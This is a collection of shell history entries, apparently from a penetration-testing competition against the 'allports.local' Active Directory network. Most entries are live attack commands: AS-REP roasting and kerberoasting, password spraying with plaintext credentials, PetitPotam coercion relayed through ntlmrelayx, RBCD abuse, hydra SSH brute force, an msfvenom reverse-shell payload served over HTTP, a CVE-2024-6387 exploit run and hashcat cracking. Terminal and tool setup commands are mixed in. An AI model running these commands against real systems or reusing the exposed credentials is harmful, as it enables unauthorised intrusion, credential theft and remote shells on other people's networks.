_raw: : 1762628162:0;impacket-GetNPUsers allports.local/ -usersfile users -format hashcat -outputfile asrepout


_raw: : 1762628141:0;sed -i 's/ZSH_THEME=".*"/ZSH_THEME="ohmy-pentest-report"/' ~/.zshrc


_raw: : 1762628121:0;cp ohmy-pentest-report/ohmy-pentest-report.zsh-theme .


_raw: : 1762628112:0;git clone https://github.com/sikumy/ohmy-pentest-report


_raw: : 1762628106:0;cat Downloads/users2.txt | grep -Po '(?<=: ).*' > users5.txt


_raw: : 1762628104:0;impacket-GetNPUsers allports.local/ -usersfile users -format hashcat -outputfile asrepout


_raw:
ls
cat received_data.bin
clear
less received_data.bin
vi received_data.bin
file re
file received_data.bin
strings received_data.bin | less
vi received_data.bin
./received_data.bin


_raw:
nmap -script vuln 10.0.1.15
gobuster 10.0.1.15:8080
gobuster 10.0.1.15
gobuster --help
gobuster -h 10.0.1.15
gobuster dir -u http://10.0.1.15 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.11:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.11/login -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.11/ --wildcard -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
amass enum -passive -d example.com -o amass-passive.txt
amass enum -passive -d 10.0.1.11 -o amass-passive.txt
nmap --script vuln 10.0.1.11


_raw:
vi
python3 server.py
ip a
python3 server.py
ls
file received_data.bin
imhex
cat ~/password.txt
imhex
exit


_raw: : 1762628080:0;cat Downloads/users2.txt | grep -Po '(?<=: P).*' > users4.txt


_raw: : 1762628065:0;nmap -p 139,445 --script smb-enum-shares $TARGET


_raw: : 1762628042:0;impacket-GetNPUsers allports.local/ -usersfile users -format hashcat -outputfile asrepout


_raw: : 1762628028:0;grep -v "ERR_CLIENT_REVOKED" out.file


_raw: : 1762628023:0;sudo binwalk -e silence.mp3


_raw: : 1762628012:0;grep -v "have been revokfed" out.file


_raw: : 1762628009:0;grep -v "have been revoked" out.file


_raw: : 1762628003:0;grep -v "revoked" out.file


_raw: sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"


_raw: : 1762627992:0;impacket-GetUserSPNs -no-preauth 'ocooper' -usersfile users -dc-host 10.0.1.6 allports.local/ > out.file


_raw: : 1762627980:0;cat Downloads/users2.txt | grep -P '(?<=: ).*' > users3.txt


_raw: : 1762627978:0;nxc winrm 10.0.1.6 -u default_cred_users -p Sails@way!


_raw: : 1762627931:0;mv nmap.txt /home/pentester


_raw: : 1762627910:0;nxc smb workstations -u default_cred_users -p Sails@way!


_raw: : 1762627890:0;cp ohmy-pentest-report/ohmy-pentest-report.zsh-theme .


_raw: : 1762627876:0;git clone https://github.com/sikumy/ohmy-pentest-report


_raw: : 1762627855:0;cp silence.mp3 silence.jpeg


_raw: : 1762627758:0;sudo apt upgrade -y && sudo apt dist-upgrade -y


_raw: : 1762627657:0;nmap -sV apt-dc-01.allports.local


_raw:
: 1762627654:0;git clone https://github.com/sikumy/ohmy-pentest-report/ $ZSH_CUSTOM/themes/ohmy-pentest-report\
mv $ZSH_CUSTOM/themes/ohmy-pentest-report/ohmy-pentest-report.zsh-theme ~/.oh-my-zsh/themes/ohmy-pentest-report.zsh-theme


_raw: : 1762627641:0;curl  https://raw.githubusercontent.com/nationalcptc-teamtools/University-of-California-Davis/refs/heads/main/nuclearfizzler/.tmux.conf > .tmux.conf


_raw:
: 1762627617:0;git clone https://github.com/sikumy/ohmy-pentest-report/ $ZSH_CUSTOM/themes/ohmy-pentest-report\
mv $ZSH_CUSTOM/themes/ohmy-pentest-report/ohmy-pentest-report.zsh-theme ~/.oh-my-zsh/themes/ohmy-pentest-report.zsh-theme


_raw:
nmap -sVC -T3 10.0.1.6
sudo apt-get update
sudo apt-get upgrate
sudo apt-get upgrade


_raw:
pipx install nxc
pipx install git+https://github.com/Pennyw0rth/NetExec


_raw: : 1762627596:0;bloodyad -u svc_stabilize -p 1gyroscope -d allports.local --host 10.0.1.6 add computer


_raw: : 1762627584:0;bloodyad -u svc_stabilize -p 1gyroscope -d allports.local --host 10.0.1.6 add rbcd


_raw:
sudo apt-get --assume-yes install git make gcc\
git clone https://github.com/robertdavidgraham/masscan\
cd masscan\
make
sudo apt update
git clone REDACTED_EMAIL:wallyschag/totally-inconspicuous-hacking-repo.git
git clone https://github.com/wallyschag/totally-inconspicuous-hacking-repo.git
ls
cd totally-inconspicuous-hacking-repo
ls
nmap
ping
ls
cd enumeration
ping prod.allports.local
ls
sudo ./wallscan.sh 10.0.1.0/24


_raw:
ls
cd masscan
ls
cd totally-inconspicuous-hacking-repo
ls
cd enumeration
ls
cd scan_results
ls
cd 10.0.1.10
ls
cd tcp
ls
cd ..
ls
cd udp
ls
cd ..
ls
cat ports_with_proto.txt
cat masscan_output.gnmap


_raw:
ssh-keygen
cat ~/.ssh/id_ed25519.pub
ssh root@10.0.1.10
ssh team01user@10.0.1.10


_raw: : 1762627511:0;zstyle ':omz:alpha:lib:git' async-prompt force


_raw: : 1762627507:0;sed -i 's/ZSH_THEME=".*"/ZSH_THEME="ohmy-pentest-report"/' ~/.zshrc


_raw: : 1762627504:0;bloodyad -u svc_stabilize -p 1gyroscope -d allports.local --host 10.0.1.6 get object svc_stabilize --resolve-sd


_raw:
: 1762627500:0;git clone https://github.com/sikumy/ohmy-pentest-report/ $ZSH_CUSTOM/themes/ohmy-pentest-report\
mv $ZSH_CUSTOM/themes/ohmy-pentest-report/ohmy-pentest-report.zsh-theme ~/.oh-my-zsh/themes/ohmy-pentest-report.zsh-theme


_raw: : 1762627495:0;bloodyad -u svc_stabilize -p 1gyroscope -d allports.local --host 10.0.1.6 get object svc_stabilize -resolve-sd


_raw: : 1762627488:0;bloodyad -u svc_stabilize -p 1gyroscope -d allports.local --host 10.0.1.6 get object svc_stabilize


_raw: : 1762627478:3;bloodyad -u svc_stabilize -p 1gyroscope -d allports.local --host 10.0.1.6 get object


_raw:
ls
nmap 10.0.1.0/24 -T3 -F
nmap 10.0.1.0/24 -T3 -F -v
nxc
clear
nxc 10.0.1.0/24 --gen-relay-list
nxc smb 10.0.1.0/24 --gen-relay-list
nxc smb 10.0.1.0/24 --gen-relay-list relay.out
ipconfig
ifconfig
sudo responder -I eth0


_raw: : 1762627388:0;docker compose up -d --build


_raw:
ls
cd Downloads
ls
python3 CVE-2024-6387.py scan -T 10.0.1.14 -p 22
python3 CVE-2024-6387.py exploit -T 10.0.1.14 -p 22 -n eth0


_raw: : 1762627356:0;git clone https://github.com/nationalcptc-teamtools/University-of-Texas-Austin.git


_raw: : 1762627344:0;sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"


_raw:
netexec ldap 10.0.1.6 -u '' -p ''
netexec ldap 10.0.1.6 -u '' -p '' --users
netexec ldap 10.0.1.21 -u '' -p '' --users
netexec --debug ldap 10.0.1.21 -u '' -p '' --users
netexec smb 10.0.1.21 -u '' -p '' --shares
netexec smb 10.0.1.6 -u '' -p '' --shares
netexec ldap 10.0.1.6 -u '' -p '' --kerberoast h
netexec ldap 10.0.1.6 -u '' -p '' --asreproast h
pipx
pipx install git+https://github.com/Pennyw0rth/NetExec
netexec ldap 10.0.1.6 -u '' -p '' --asreproast h
which netexec
netexec -h
source ~/.bashrc


_raw: : 1762627275:0;cat Downloads/users.txt | grep [+] | awk '{print $5}' | cut -d'\' -f2\


_raw: : 1762627241:0;chown pentester:pentester vulnerabilities_full_network.txt


_raw: : 1762627222:0;sudo chown root:root thinclient_drives


_raw: : 1762627219:0;cat Downloads/users.txt | grep [+] | awk '{print $4}' | cut -d'\' -f2\


_raw: : 1762627219:0;chown root:root thinclient_drives


_raw: : 1762627208:0;cat Downloads/users.txt | grep -r [+] | awk '{print $4}' | cut -d'\' -f2\


_raw: : 1762627195:0;cat Downloads/users.txt | grep [+] | awk '{print $4}' | cut -d'\' -f2\


_raw: : 1762627193:0;mv vulnerabilities_full_network.txt /home/pentester && chown pentester:pentester


_raw: : 1762627186:0;cat Downloads/users.txt | grep [+] | awk '{print $4}' | cut -d'\\' -f2\


_raw: : 1762627185:0;mv vulnerabilities_full_network.txt /home/pentester && sudo chown pentester:pentester


_raw: : 1762627176:0;mv Default.xml /home/pentester/Desktop


_raw: : 1762627147:0;GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip 10.0.1.6 'allports.local/svc_stabilize:1gyroscope'


_raw: : 1762627142:0;sudo systemctl status ssh


_raw: : 1762627096:0;nmap -sS prod.allports.local


_raw: : 1762627077:0;GetNPUsers.py -request -usersfile valid_domain_users -format hashcat -outputfile asreproast.txt -dc-ip 10.0.1.6 'allports.local/'


_raw: : 1762627037:0;GetNPUsers.py -request -format hashcat -outputfile asreproast.txt -dc-ip 10.0.1.6 'allports.local/'


_raw: : 1762627010:0;cat vulnerabilities_full_network > vulnerabilities_full_network.txt


_raw:
ls
cat password.txt
cd th
cd thinclient_drives
ls
clear
ls -alh
cd
ls -alh
cd Documents
ls
cd
cd Downloads
ls
cd
burpsuite


_raw: : 1762626965:0;nxc ldap 10.0.1.6 -u lpeterson -p Sails@way! --kerberoasting output.txt


_raw:
ip a
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.206 LPORT=33333 -f elf -o reverse.elf
python -m http.server


_raw: : 1762626752:0;nxc smb 10.0.1.6 -u lpeterson -p 'Sails@way!' --rid-brute > /home/pentester/Downloads/users.txt


_raw: : 1762626685:0;nxc smb 10.0.1.6 -u lpeterson -p 'Sails@way!' --rid-brute > users.txt


_raw: : 1762626622:0;nxc smb 10.0.1.6 -u lpeterson -p 'Sails@way!' --rid-brute


_raw:
hx ~/.config/helix
hx ~/.config/helix/config.toml
sudo apt install ulauncher
sudo apt install rofi
rofi
rofi drun
rofi --show run
rofi -show run
rofi -show drun
feroxbuster --url http://penny.allports.local:8045/
fish


_raw: : 1762626067:0;nxc smb 10.0.1.21 -u Guest -p Sails@way! --local-auth


_raw: : 1762626058:0;nxc smb 10.0.1.21 -u Administrator -p Sails@way! --local-auth


_raw: : 1762626049:0;nxc smb 10.0.1.20 -u Administrator -p Sails@way! --local-auth


_raw: : 1762626044:0;nxc smb 10.0.1.20 -u Guest -p Sails@way! --local-auth


_raw: : 1762625921:0;bloodhound-ce-python -u svc_stabilize -p 1gyroscope -d allports.local -ns 10.0.1.6 --zip -c All


_raw:
man gobuster
gobuster -u http://allports.tours -w /etc/passwd
gobuster  http://allports.tours -w /etc/passwd
gobuster  http://10.0.1.1 -w /etc/passwd
gobuster 10.0.1.1 -w /etc/passwd
man gobuster
man g
man gobuster


_raw:
Scan http://allporttours/
./whatweb https://allports.tours/
https://allports.tours/
clear


_raw:
vim masscan-wrapper.sh
rm masscan-wrapper.sh
# create the script\
cat > tcp-scan.sh <<'EOF'\
#!/usr/bin/env bash\
# tcp-scan.sh - quick tcp discovery and service/version scan\
# Usage: ./tcp-scan.sh targets.txt [outdir]\
# Use masscan to quickly find open ports then run nmap on those hosts/ports. Speeds up wide-range discovery.\
TARGETS=${1:-targets.txt}\
OUTDIR=${2:-./nmap}\
mkdir -p "$OUTDIR"\
while read -r host; do\
  [[ -z "$host" || "$host" =~ ^# ]] && continue\
  echo "[+] Quick top-100 ports for $host"\
  nmap -sS -Pn --top-ports 100 -oA "$OUTDIR/${host}_top100" "$host"\
  echo "[+] Service/version scan (focused) for $host"\
  nmap -sS -sV -Pn --top-ports 100 -oA "$OUTDIR/${host}_sv" "$host"\
done < "$TARGETS"\
EOF\
\
# make executable\
chmod +x tcp-scan.sh\
\
# create a targets file (one host per line)\
echo "10.0.254.207" > targets.txt\
\
# run (with root for SYN scan)\
sudo ./tcp-scan.sh targets.txt ./nmap_results\
ls
cat targets.txt


_raw:
cat /etc/os-release
cd Downloads
ls
dpkg -I ghostty_1.2.3-1+trixie_amd64.deb
dpkg -i ghostty_1.2.3-1+trixie_amd64.deb
sudo dpkg -i ghostty_1.2.3-1+trixie_amd64.deb
apt install ./ghostty_1.2.3-1+trixie_amd64.deb
sudo apt install ./ghostty_1.2.3-1+trixie_amd64.deb
apt --fix-broken install
sudo apt --fix-broken install
sudo apt install ./ghostty_1.2.3-1+trixie_amd64.deb
ghostty


_raw: : 1762625484:0;ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://10.0.1.14/"-H "Host: FUZZ.allports.local"


_raw: : 1762625418:0;GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip 10.0.1.6 'allports.local/svc_stabilize:1gyroscope'


_raw: : 1762625314:0;sudo greenbone-feed-sync --type GVMD_DATA\


_raw: : 1762625286:0;hashcat -m 14000 -a 3 -1 /usr/share/hashcat/charsets/DES_full.hcchr --hex-charset dc_ntlmhash '?1?1?1?1?1?1?1?1'


_raw:
# discovery: ping/ARP only (-sn). Use -PR (ARP) on local LAN when privileged.\
sudo nmap -sn -PR -T1 --min-rate 10 --max-retries 1 -oA scans/10.0.1.0-24-discovery 10.0.1.0/24\
mkdir scans
cd scans
mkdir 10.0.1.0-24-discovery
cd ../
# discovery: ping/ARP only (-sn). Use -PR (ARP) on local LAN when privileged.\
sudo nmap -sn -PR -T1 --min-rate 10 --max-retries 1 -oA scans/10.0.1.0-24-discovery 10.0.1.0/24\
cd scans
ls
sudo apt install flameshot
flameshot gui
ip a
sudo nmap -sT -p- -sV -T2 --scan-delay 300ms
[200~# per-host example (full 65535 TCP ports)
sudo nmap -sT -p- -sV --version-intensity 0 -T2 --scan-delay 500ms --max-retries 1 --open -oA scans/<host>-allports <host>
sudo nmap -sT -p- -sV --version-intensity 0 -T2 --scan-delay 500ms --max-retries 1 --open -oA scans/<host>-allports 10.0.1.1
cd ../
cd scans
mkdir open ports
cd open ports
rm open
rmdir open
cd ports
sudo nmap -sT -p- -sV --version-intensity 0 -T2 --scan-delay 500ms --max-retries 1 --open -oA
vim host-ip.txt
sudo nmap -iL hosts.txt \\
  -sT \\
  -p 1-1024,3306,3389,8080,8443 \\
  -sV --version-intensity 0 \\
  -T2 --scan-delay 300ms --max-retries 1 \\
  --open \\
  -oA scan_results\
ls
sudo nmap -iL host-ip.txt \\
  -sT \\
  -p 1-1024,3306,3389,8080,8443 \\
  -sV --version-intensity 0 \\
  -T2 --scan-delay 300ms --max-retries 1 \\
  --open \\
  -oA scan_results\
sudo nmap -iL host-ip.txt -sT -p- -sV -T2 --scan-delay 500ms --max-retries 1 --open -oA scan_results_full\
sudo nmap -iL host-ip.txt --top-ports 1000 -sT -T3 --open -oA top1000
flameshot gui
sudo nmap -sT -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,5986 \\
  -sV --script "default and safe" -oN 10.0.1.6-safe.txt 10.0.1.6
ls
sudo nmap -p 389,636 --script=ldap-rootdse,ssl-cert -oN 10.0.1.6-ldap.txt 10.0.1.6
sudo nmap -p 389,636 --script=ldap-rootdse,ldap-search -oN 10.0.1.6-ldap-enum.txt 10.0.1.6\
sudo nmap -p 636 --script ssl-cert,ssl-enum-ciphers -oN 10.0.1.6-ldaps-cert.txt 10.0.1.6\
sudo
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=*)" > ldap-allports-search.txt\
sudo nmap -p 389,636 --script=ldap-search,ldap-rootdse -oN ldap-details.txt 10.0.1.6\
openssl s_client -connect 10.0.1.6:636\
cd
sudo apt install gvm
sudo gvm-setup
sudo gvwm-setup
sudo gwm-setup
sudo gvm-setup
sudo gvm-start
sudo greenbone-nvt-sync
sudo gvm-check-setup
sudo greenbone-nvt-sync
sudo greenbone-feed-sync --type GVMD_DATA
sudo systemctl status gvmd ospd-openvas gsad
sudo greenbone-feed-sync --type GVMD_DATA\
ps aux | grep feed-sync\
sudo kill 795401
sudo lsof /var/lib/gvm/feed-update.lock\
sudo fuser -v /var/lib/gvm/feed-update.lock\
ps -fp 782323 782328\
sudo systemctl restart gvmd
sudo greenbone-feed-sync --type GVMD_DATA\
sudo apt-get purge --auto-remove openvas gvm gvmd greenbone-security-assistant openvas-scanner\
sudo apt install openvas
sudo gvm-setup
sudo systemctl start gvmd\
sudo systemctl start gsad\
sudo systemctl start openvas-scanner\
sudo apt-get install openvas-scanner
sudo apt-get upgrade openvas-scanner
sudo systemctl stop gvmd gsad ospd-openvas
sudo apt-get install openvas gvm gvmd openvas-scanner
sudo systemctl start gvmd\
sudo systemctl start gsad\
sudo systemctl start openvas-scanner\
lsb_release -a\
sudo apt-get install openvas gvm gvmd openvas-scanner
hostname
sudo nano /etc/hosts
sudo apt-get install docker.io
sudo systemctl enable docker
sudo systemctl start docker
sudo docker pull greenbone/gvmd


_raw: : 1762625102:0;ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://10.0.1.14/"-H "Host: FUZZ.allports.local"


_raw: : 1762625087:0;ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://10.0.1.14/"-H "Host: FUZZ.allports.local" -r


_raw: : 1762624755:0;systemctl status gvmd.service


_raw: : 1762624743:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762624740:0;ntlmrelayx.py -tf workstations -smb2support --remove-mic


_raw:
kali-hidpi-mode
echo export GDK_SCALE=2 >> ~/.xsessionrc
xfconf-query -c xfwm4 -p /general/theme -s Kali-Dark-xHiDPI
xfconf-query -c xsettings -p /Gdk/WindowScalingFactor -n -t 'int' -s 2\
systemctl status display-manager
dig -x 10.0.1.14
dig +x 10.0.1.14
dig -x 10.0.1.14 @10.0.1.6
dig -x allports.tours @10.0.1.6
dig allports.tours @10.0.1.6
dig allports.tours
dig allports.tours @10.0.1.6
dig -x allports.tours @10.0.1.6
dig -x 10.0.1.14 @10.0.1.6
dig -x 10.0.1.11 @10.0.1.6
dig -x penny.alltours.local @10.0.1.6
dig penny.alltours.local @10.0.1.6
mdns
avahi-browse -a
systemd-resolved
dig penny.alltours.local @10.0.1.6 -p 5353
dig -x penny.alltours.local @10.0.1.6 -p 5353
dig -x 10.0.1.11 @10.0.1.6 -p 5353
dig -x 10.0.1.11 -p 5353 @224.0.0.251
getent hosts
ping penny.allports.local
systemctl start avahi-daemon.s
systemctl start avahi-daemon
ping penny.allports.local
avahi-browse -a
avahi-resolve-address 10.0.1.11
avahi-resolve-address penny.allports.local
ping penny.allports.local
curl penny.allports.local
responder
sudo systemctl restart avahi-daemon
sudo apt install helix
sudo apt install hx
hx /etc/resolv.conf
hx /etc/NetworkManager/NetworkManager.conf
hx /etc/network/interfaces
hx /etc/network/interfaces.d/50-cloud-init
hx /etc/resolvconf/resolv.conf.d/tail
sudo hx /etc/resolvconf/resolv.conf.d/tail
systemctl restart resolvconf
sudo systemctl restart resolvconf
dig -x 10.0.1.11 -p 5353 @224.0.0.251
dig 10.0.1.11
hx /etc/resolv.conf
sudo hx /etc/resolvconf/resolv.conf.d/tail
sudo hx /etc/resolvconf/resolv.conf.d/head
sudo hx /etc/resolvconf/resolv.conf.d/
sudo systemctl restart resolvconf
cat /etc/resolv
cat /etc/resolv.conf
hx /etc/resolv.conf
sudo hx /etc/resolv.conf
hx /etc/resolv.conf
sudo systemctl restart resolvconf
hx /etc/resolv.conf
dig 10.0.1.11
dig -x 10.0.1.11 -p 5353 @224.0.0.251
ping penny.allports.local
avahi-resolve-address penny.allports.local
avahi-resolve-address 10.0.1.11
avahi-resolve-address 10.0.1.11 -v
man avahi-resolve-address
avahi-resolve --name penny
hostname
avahi-resolve --name penny -v
man avahi-resolve-address
avahi-resolve --name penny.allports.local -v
curl penny.allports.local
avahi-resolve --name penny.allports.local -v
dig penny.allports.local
dig 10.0.1.11 -x
dig -x 10.0.1.11
man avahi-resolve-address
avahi-
man avahi-browse
avahi-browse -a
ip a
getent hosts
getent hosts 10.0.1.1
getent hosts 10.0.1.11
npx
bunx
bun
[200~curl -fsSL https://bun.sh/install | bash~
curl -fsSL https://bun.sh/install | bash
bunx @modelcontextprotocol/inspector
bunx
bun
zsh


_raw:
ip a
bun
bunx @modelcontextprotocol/inspector
feroxbuster
bunx @modelcontextprotocol/inspector
feroxbuster
feroxbuster http://penny.allports.local:8045/
feroxbuster -a http://penny.allports.local:8045/
feroxbuster --url http://penny.allports.local:8045/
sudo apt install ghostty
ghostty
apt search ghostty
sudo apt update && sudo apt install -y imwheel && echo '".*" None, Up, Button4, 0.1\n".*" None, Down, Button5, 0.1\nControl_L, Up, Control_L|Button4\nControl_L, Down, Control_L|Button5\nShift_L, Up, Shift_L|Button4\nShift_L, Down, Shift_L|Button5' > ~/.imwheelrc && imwheel --kill; imwheel -b "4 5"\
xinput list
xinput list-props 6
xinput list-props 2
xinput set-prop 6 224 1
xinput list-props 2
xinput list-props 6
xinput set-prop 6 224 2
xinput list
xinput list-props 4
xinput list-props 6
systemctl status display-manager
sudo apt install libinput-gesture
sudo apt install libinput
apt search libinput
sudo apt install libinput-tools
sudo apt update
libinput
libinput list-devices
sudo libinput list-devices
imwheel
hx /etc/lightdm/lightdm-gtk-greeter.conf
sudo hx /etc/lightdm/lightdm-gtk-greeter.conf
lightdm
sudo lightdm
sudo lightdm --help
systemctl reload lightdm
sudo systemctl reload lightdm
sudo systemctl reload display-manager
sudo systemctl restart lightdm


_raw: : 1762624700:0;mysql --host=10.0.1.15 -u mysql --ssl-verify-server-cert=0


_raw: : 1762624684:0;mysql --host=10.0.1.99 -u mysql --ssl-verify-server-cert=0


_raw: : 1762624670:0;mysql --host=10.0.1.99 -u root --password=root --ssl-verify-server-cert=0


_raw: : 1762624661:0;sudo systemctl restart openvas-scanner


_raw: : 1762624656:0;mysql --host=10.0.1.99 -u mysql --password=mysql --ssl-verify-server-cert=0


_raw: : 1762624654:0;sudo systemctl restart gvmd


_raw: : 1762624648:0;mysql --host=10.0.1.99 -u mysql --password=root --ssl-verify-server-cert=0


_raw:
: 1762624641:0;sudo systemctl restart gvmd\
sudo systemctl restart openvas-scanner


_raw: : 1762624633:0;cat vulnerabilities_full_network | more


_raw: : 1762624629:0;termshot -scf ~/termshot.png -- "nxc smb workstations -u default_cred_users -p 'Sails@way'"


_raw: : 1762624626:0;termshot -scf ~/termshot.png -- "nxc smb workstations -u default_cred_users -p 'Sails@way''


_raw: : 1762624616:0;termshot -scf ~/termshot.png -- "nxc smb workstations -u default_cred_users -p Sails@way


_raw: : 1762624584:0;nxc smb workstations -u default_cred_users -p Sails@way!


_raw: : 1762624581:0;mysql --host=10.0.1.99 -u mysql --password=root --ssl-mode=DISABLED


_raw: : 1762624452:0;greenbone-feed-sync --type GVMD_DATA\


_raw: : 1762624364:0;mysql --host=10.0.1.15 -u root mysql --password=root


_raw:
nxc smb 10.0.1.0/24 -u SVC_STABILIZE -d allports.local -p '1gyroscope'
nxc ldap 10.0.1.6 -u SVC_STABILIZE -d allports.local -p '1gyroscope' --bloodhound --collection All --dns-server 10.0.1.6
mv .nxc/logs/APT-DC-01_10.0.1.6_2025-11-08_124901_bloodhound.zip .
scp
scp APT-DC-01_10.0.1.6_2025-11-08_124901_bloodhound.zip pentester@10.0.254.203:/home/pentester
ssh pentester@10.0.254.203
scp APT-DC-01_10.0.1.6_2025-11-08_124901_bloodhound.zip pentester@10.0.254.203:/home/pentester/bloodhound.zip
ssh pentester@10.0.254.203
ls
exit


_raw: : 1762624357:0;mysql --host=10.0.1.15 -u root mysql --password=mysql


_raw: : 1762624282:0;nxc smb 10.0.1.6 -u default_cred_users -p Sails@way! --shares -M gpp_password


_raw: : 1762624273:0;nxc smb 10.0.1.6 -u default_cred_users -p Sails@way! --shares


_raw: : 1762624266:0;nxc smb 10.0.1.20 -u default_cred_users -p Sails@way! --shares


_raw:
https://allporttours.com
https://allports.tours/
url https://allports.tours/


_raw: : 1762624189:0;nxc smb 10.0.1.21 -u rdavis -p rosdav50 --continue-on-success --shares --local-auth


_raw: : 1762624171:0;nxc smb 10.0.1.21 -u default_cred_users -p Sails@way! --continue-on-success --shares --local-auth


_raw: : 1762624164:0;nxc smb 10.0.1.21 -u default_cred_users -p Sails@way! --continue-on-success --shares


_raw: : 1762624156:0;nxc smb 10.0.1.20 -u default_cred_users -p Sails@way! --continue-on-success --shares


_raw: : 1762624148:0;nxc smb 10.0.1.6 -u default_cred_users -p Sails@way! --continue-on-success --shares


_raw: : 1762624145:0;nxc smb 10.0.1.6 -u default_cred_users -p Sails@way! --continue-on-success


_raw: : 1762624136:0;nxc smb 10.0.1.6 -u default_cred_users -p Sails@way!


_raw:
cd /usr/share/wordlists
gunzip rockyou.txt.gz
sudo gunzip rockyou.txt.gz
ls


_raw:
nmap -sV -sC 10.0.1.* -p-
nc 10.0.1.10 -p 6768 -v
nc 10.0.1.10 -vp 6768
nc 10.0.1.10 -v 6768
hydra
hydra -l Downloads/usernames.txt -p /usr/share/wordlists/rockyou.txt.gz ssh://10.0.1.10:22
tar -xf /usr/share/wordlists/rockyou.txt.gz .
gunzip /usr/share/wordlists/rockyou.txt.gz .
sudo gunzip /usr/share/wordlists/rockyou.txt.gz .
hydra -l Downloads/usernames.txt -p /usr/share/wordlists/rockyou.txt ssh://10.0.1.10:22
hydra -l root -p /usr/share/wordlists/rockyou.txt ssh://10.0.1.10:22
hydra -l Downloads/usernames.txt -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10:22
hydra -l Downloads/usernames.txt -P Downloads/passlist.txt ssh://10.0.1.10:22
python3


_raw: : 1762623923:0;nxc ldap 10.0.1.6 -u ~/real_domain_users -p Sails@way! --continue-on-success


_raw: : 1762623782:12;ntlmrelayx.py -t winrm://10.0.1.20 -smb2support --remove-mic --delegate-access


_raw: : 1762623747:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762623743:0;ntlmrelayx.py -t smb://10.0.1.6 -smb2support --remove-mic --delegate-access


_raw: : 1762623699:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762623697:0;ntlmrelayx.py -t smb://10.0.1.6 -smb2support --remove-mic --delegate-access


_raw: : 1762623682:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762623680:0;ntlmrelayx.py -t smb://10.0.1.20 -smb2support --remove-mic --delegate-access


_raw: : 1762623651:0;ntlmrelayx.py -t smb://10.0.1.20 -smb2support --remove-mic --delegate-access -h


_raw: : 1762623644:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762623641:0;ntlmrelayx.py -t smb://10.0.1.20 -smb2support --remove-mic --delegate-access


_raw: : 1762623555:0;impacket-GetUserSPNs -no-preauth 'ocooper' -usersfile users -dc-host 10.0.1.6 allports.local/


_raw: : 1762623517:0;impacket-GetUserSPNs -no-preauth '' -usersfile users -dc-host 10.0.1.6 allports.local/


_raw: : 1762623508:0;impacket-GetUserSPNs -no-preauth -usersfile users -dc-host 10.0.1.6 allports.local/


_raw: : 1762623430:0;impacket-GetNPUsers allports.local/ -usersfile users -format hashcat -outputfile asrepout


_raw: : 1762623394:0;nxc smb -u users.txt -p '' --asreproast asrepout


_raw: : 1762623365:0;cat familynames-usa-top1000.txt| more


_raw: : 1762623334:0;grep 'VALID USERNAME' kerb-results | sed -E 's/.*VALID USERNAME:[[:space:]]*//; s/\.{3}$//' > emails


_raw: : 1762623324:0;grep 'VALID USERNAME' kerb-results | sed -E 's/.*VALID USERNAME:[[:space:]]*//; s/\.{3}$//'


_raw:
: 1762623313:0;grep 'VALID USERNAME' kerbrute.log \\
  | sed -E 's/.*VALID USERNAME:[[:space:]]*//; s/\.{3}$//'


_raw: : 1762623303:331;ntlmrelayx.py -t ldap://10.0.1.6 -smb2support --remove-mic --delegate-access


_raw: : 1762623293:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762623291:0;ntlmrelayx.py -t smb://10.0.1.21 -smb2support --remove-mic --delegate-access


_raw: : 1762623258:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762623256:0;ntlmrelayx.py -t smb://10.0.1.20 -smb2support --remove-mic --delegate-access


_raw: : 1762623240:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762623239:0;ntlmrelayx.py -t ldap://10.0.1.6 -smb2support --remove-mic --delegate-access


_raw: : 1762623226:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762623225:0;ntlmrelayx.py -t ldaps://10.0.1.6 -smb2support --remove-mic --delegate-access


_raw: : 1762623207:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762623204:0;ntlmrelayx.py -tf ldaps://10.0.1.6 -smb2support --remove-mic --delegate-access


